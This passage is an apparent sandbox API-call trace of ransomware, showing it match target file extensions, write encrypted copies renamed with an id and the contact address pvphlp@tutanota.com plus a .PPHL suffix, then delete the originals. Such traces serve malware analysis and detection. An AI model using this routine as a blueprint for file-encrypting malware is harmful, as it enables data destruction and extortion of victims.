[0062.347] lstrlenW (lpString=".zip") returned 4 [0062.347] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.347] lstrlenW (lpString=".rar") returned 4 [0062.347] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.347] lstrlenW (lpString=".bz2") returned 4 [0062.347] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.347] lstrlenW (lpString=".7z") returned 3 [0062.347] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0062.347] lstrlenW (lpString=".dbf") returned 4 [0062.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0062.347] lstrlenW (lpString=".1cd") returned 4 [0062.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0062.347] lstrlenW (lpString=".jpg") returned 4 [0062.347] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.347] lstrcmpiW (lpString1=".JPG", lpString2=".PPHL") returned -1 [0062.348] lstrlenW (lpString="MS.JPG") returned 6 [0062.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0063.269] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=1061) returned 1 [0063.270] CloseHandle (hObject=0x19c) returned 1 [0063.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 0x20 [0063.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0063.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0063.270] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.270] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.126] GetLastError () returned 0x0 [0064.126] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x425, lpOverlapped=0x0) returned 1 [0064.215] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x430, lpOverlapped=0x0) returned 1 [0064.217] ReadFile (in: hFile=0x19c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0064.217] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0064.218] SetEndOfFile (hFile=0x1e4) returned 1 [0064.218] CloseHandle (hObject=0x1e4) returned 1 [0064.221] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0064.221] SetEndOfFile (hFile=0x19c) returned 1 [0064.222] CloseHandle (hObject=0x19c) returned 1 [0064.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0064.223] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0064.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.223] lstrlenW (lpString=".doc") returned 4 [0064.223] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0064.223] lstrlenW (lpString=".docx") returned 5 [0064.223] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0064.223] lstrlenW (lpString=".pdf") returned 4 [0064.223] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0064.223] lstrlenW (lpString=".xls") returned 4 [0064.223] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0064.223] lstrlenW (lpString=".xlsx") returned 5 [0064.223] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0064.223] lstrlenW (lpString=".ppt") returned 4 [0064.223] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0064.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.223] lstrlenW (lpString=".zip") returned 4 [0064.223] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0064.223] lstrlenW (lpString=".rar") returned 4 [0064.223] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0064.223] lstrlenW (lpString=".bz2") returned 4 [0064.224] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0064.224] lstrlenW (lpString=".7z") returned 3 [0064.224] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0064.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.224] lstrlenW (lpString=".dbf") returned 4 [0064.224] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0064.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.224] lstrlenW (lpString=".1cd") returned 4 [0064.224] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0064.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.224] lstrlenW (lpString=".jpg") returned 4 [0064.224] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0064.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.224] lstrlenW (lpString=".doc") returned 4 [0064.224] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0064.224] lstrlenW (lpString=".docx") returned 5 [0064.224] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0064.224] lstrlenW (lpString=".pdf") returned 4 [0064.224] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0064.224] lstrlenW (lpString=".xls") returned 4 [0064.224] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0064.224] lstrlenW (lpString=".xlsx") returned 5 [0064.224] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0064.224] lstrlenW (lpString=".ppt") returned 4 [0064.224] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0064.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.224] lstrlenW (lpString=".zip") returned 4 [0064.224] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0064.224] lstrlenW (lpString=".rar") returned 4 [0064.224] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0064.224] lstrlenW (lpString=".bz2") returned 4 [0064.224] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0064.225] lstrlenW (lpString=".7z") returned 3 [0064.225] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0064.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.225] lstrlenW (lpString=".dbf") returned 4 [0064.225] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0064.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.225] lstrlenW (lpString=".1cd") returned 4 [0064.225] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0064.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0064.225] lstrlenW (lpString=".jpg") returned 4 [0064.225] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0064.225] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.225] lstrlenW (lpString="Alphabet.xml") returned 12 [0064.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0064.241] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=791686) returned 1 [0064.241] CloseHandle (hObject=0x19c) returned 1 [0064.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0064.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.241] lstrlenW (lpString=".doc") returned 4 [0064.241] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.241] lstrlenW (lpString=".docx") returned 5 [0064.242] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0064.242] lstrlenW (lpString=".pdf") returned 4 [0064.242] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString=".xls") returned 4 [0064.242] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString=".xlsx") returned 5 [0064.242] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0064.242] lstrlenW (lpString=".ppt") returned 4 [0064.242] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.242] lstrlenW (lpString=".zip") returned 4 [0064.242] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.242] lstrlenW (lpString=".rar") returned 4 [0064.242] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString=".bz2") returned 4 [0064.242] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString=".7z") returned 3 [0064.242] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.242] lstrlenW (lpString=".dbf") returned 4 [0064.242] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.242] lstrlenW (lpString=".1cd") returned 4 [0064.242] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.242] lstrlenW (lpString=".jpg") returned 4 [0064.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.242] lstrlenW (lpString=".doc") returned 4 [0064.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.242] lstrlenW (lpString=".docx") returned 5 [0064.242] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0064.243] lstrlenW (lpString=".pdf") returned 4 [0064.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.243] lstrlenW (lpString=".xls") returned 4 [0064.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.243] lstrlenW (lpString=".xlsx") returned 5 [0064.243] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0064.243] lstrlenW (lpString=".ppt") returned 4 [0064.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.243] lstrlenW (lpString=".zip") returned 4 [0064.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.243] lstrlenW (lpString=".rar") returned 4 [0064.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.243] lstrlenW (lpString=".bz2") returned 4 [0064.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.243] lstrlenW (lpString=".7z") returned 3 [0064.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.243] lstrlenW (lpString=".dbf") returned 4 [0064.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.243] lstrlenW (lpString=".1cd") returned 4 [0064.243] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0064.243] lstrlenW (lpString=".jpg") returned 4 [0064.243] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.243] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0064.243] lstrlenW (lpString="Content.xml") returned 11 [0064.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0064.244] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=27045) returned 1 [0064.244] CloseHandle (hObject=0x19c) returned 1 [0064.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0064.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.244] lstrlenW (lpString=".doc") returned 4 [0064.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.244] lstrlenW (lpString=".docx") returned 5 [0064.244] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0064.244] lstrlenW (lpString=".pdf") returned 4 [0064.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.244] lstrlenW (lpString=".xls") returned 4 [0064.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString=".xlsx") returned 5 [0064.245] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0064.245] lstrlenW (lpString=".ppt") returned 4 [0064.245] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.245] lstrlenW (lpString=".zip") returned 4 [0064.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.245] lstrlenW (lpString=".rar") returned 4 [0064.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString=".bz2") returned 4 [0064.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString=".7z") returned 3 [0064.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.245] lstrlenW (lpString=".dbf") returned 4 [0064.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.245] lstrlenW (lpString=".1cd") returned 4 [0064.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.245] lstrlenW (lpString=".jpg") returned 4 [0064.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.245] lstrlenW (lpString=".doc") returned 4 [0064.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString=".docx") returned 5 [0064.245] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0064.245] lstrlenW (lpString=".pdf") returned 4 [0064.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString=".xls") returned 4 [0064.245] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.245] lstrlenW (lpString=".xlsx") returned 5 [0064.246] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0064.246] lstrlenW (lpString=".ppt") returned 4 [0064.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.246] lstrlenW (lpString=".zip") returned 4 [0064.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.246] lstrlenW (lpString=".rar") returned 4 [0064.246] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.246] lstrlenW (lpString=".bz2") returned 4 [0064.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.246] lstrlenW (lpString=".7z") returned 3 [0064.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.246] lstrlenW (lpString=".dbf") returned 4 [0064.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.246] lstrlenW (lpString=".1cd") returned 4 [0064.246] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0064.246] lstrlenW (lpString=".jpg") returned 4 [0064.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.246] lstrcmpiW (lpString1=".avi", lpString2=".PPHL") returned -1 [0064.246] lstrlenW (lpString="boxed-correct.avi") returned 17 [0064.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.286] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=89600) returned 1 [0064.286] CloseHandle (hObject=0x1e4) returned 1 [0064.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0064.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.286] lstrlenW (lpString=".doc") returned 4 [0064.286] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0064.286] lstrlenW (lpString=".docx") returned 5 [0064.286] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0064.286] lstrlenW (lpString=".pdf") returned 4 [0064.286] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0064.286] lstrlenW (lpString=".xls") returned 4 [0064.286] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0064.286] lstrlenW (lpString=".xlsx") returned 5 [0064.287] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0064.287] lstrlenW (lpString=".ppt") returned 4 [0064.287] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0064.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.287] lstrlenW (lpString=".zip") returned 4 [0064.287] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0064.287] lstrlenW (lpString=".rar") returned 4 [0064.287] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0064.287] lstrlenW (lpString=".bz2") returned 4 [0064.287] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0064.287] lstrlenW (lpString=".7z") returned 3 [0064.287] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0064.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.287] lstrlenW (lpString=".dbf") returned 4 [0064.287] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0064.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.287] lstrlenW (lpString=".1cd") returned 4 [0064.287] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0064.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.287] lstrlenW (lpString=".jpg") returned 4 [0064.287] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0064.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.287] lstrlenW (lpString=".doc") returned 4 [0064.287] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0064.287] lstrlenW (lpString=".docx") returned 5 [0064.287] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0064.287] lstrlenW (lpString=".pdf") returned 4 [0064.287] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0064.288] lstrlenW (lpString=".xls") returned 4 [0064.288] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0064.288] lstrlenW (lpString=".xlsx") returned 5 [0064.288] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0064.288] lstrlenW (lpString=".ppt") returned 4 [0064.288] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0064.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.288] lstrlenW (lpString=".zip") returned 4 [0064.288] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0064.288] lstrlenW (lpString=".rar") returned 4 [0064.288] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0064.288] lstrlenW (lpString=".bz2") returned 4 [0064.288] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0064.288] lstrlenW (lpString=".7z") returned 3 [0064.288] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0064.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.288] lstrlenW (lpString=".dbf") returned 